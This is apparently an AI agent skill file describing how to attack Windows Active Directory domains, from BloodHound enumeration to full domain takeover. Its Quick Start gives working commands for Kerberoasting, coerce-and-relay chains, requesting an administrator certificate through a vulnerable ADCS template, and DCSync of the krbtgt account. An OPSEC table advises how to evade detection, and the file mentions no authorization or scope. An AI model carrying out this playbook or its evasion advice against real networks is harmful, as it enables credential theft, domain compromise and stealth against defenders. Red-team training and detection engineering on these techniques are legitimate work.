1---2name: active-directory-attack3description: Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance4---56# Active Directory Attacks78## When to Activate910- Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)11- Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery12- Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)13- ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover14- dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains15- BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence1617## Technique Map1819| Technique | ATT&CK | CWE | Reference | Script |20|-----------|--------|-----|-----------|--------|21| BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |22| Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |23| LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |24| Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |25| AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |26| Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |27| Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |28| Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |29| NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |30| NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |31| Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |32| ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |33| ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |34| Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - |35| DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - |36| noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - |37| dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 |3839## Quick Start4041```bash42# 0. Sync clock to DC (Kerberos needs +/-5 min)43sudo ntpdate <DC_IP> # or: faketime "$(net time -S <DC>)" <cmd>4445# 1. Enumerate: BloodHound CE collection (Linux) + own the graph46bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip47# (use the bloodhound-ce branch; legacy collectors break CE ingest)48nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>4950# 2. Cheap wins on the graph: roast everything visible51python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast5253# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak54bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap5556# 4. ADCS path: find ESC1-16 and grab a DA cert57python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>58certipy req -u user@corp.local -p 'Pass' -ca CA -template Vuln -upn administrator@corp.local59certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # -> NT hash / TGT6061# 5. Windows Server 2025 present? Check BadSuccessor exposure62powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps16364# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence65impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>66```6768## OPSEC & Detection (summary)6970| Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note |71|-----------|-----------------|--------------------------|------------|72| SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes | Throttle `--throttle/--jitter`; prefer ADWS (SOAPHound) to dodge LDAP heuristics |73| Kerberoasting | 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host | Sigma `win_security_susp_kerberos_manipulation`; alert on RC4 TGS bursts | Request AES-only SPNs sparingly; `/rc4opsec`; roast few accounts, slow |74| AS-REP roasting | 4768 AS-REQ no-preauth; etype 23 | Alert on AS-REQ for DONT_REQ_PREAUTH accounts | Only target accounts BloodHound flags; offline crack |75| Coercion | EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host | Sigma `coercion`/`PetitPotam`; RPC firewall (RpcFilter) logs | Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback |76| NTLM relay / reflection | 4624/4648 NTLM logon to self; SMB→LDAP from non-server | Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record | Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct |77| ADCS ESC | 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template | Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection | Restore templates (ESC4); EPA on certsrv breaks ESC8 relay |78| Ticket forgery | TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN | Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) | Match domain ticket policy lifetimes; use AES keys not RC4 |79| DCSync | 4662 DRSUAPI GetNCChanges from non-DC | Sigma `dcsync`; alert DRSUAPI replication from non-DC IP | Run from a host that looks like a DC; avoid `/all`, target krbtgt only |80| dMSA BadSuccessor | 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink | Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) | Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive |8182## Deep Dives8384- **references/bloodhound-enum-lateral.md** — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.85- **references/kerberos-roasting-delegation.md** — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.86- **references/coercion-relay.md** — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.87- **references/adcs-abuse.md** — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.88- **references/ticket-forgery-dcsync.md** — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.89- **references/dmsa-badsuccessor.md** — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.
hypnguyen1209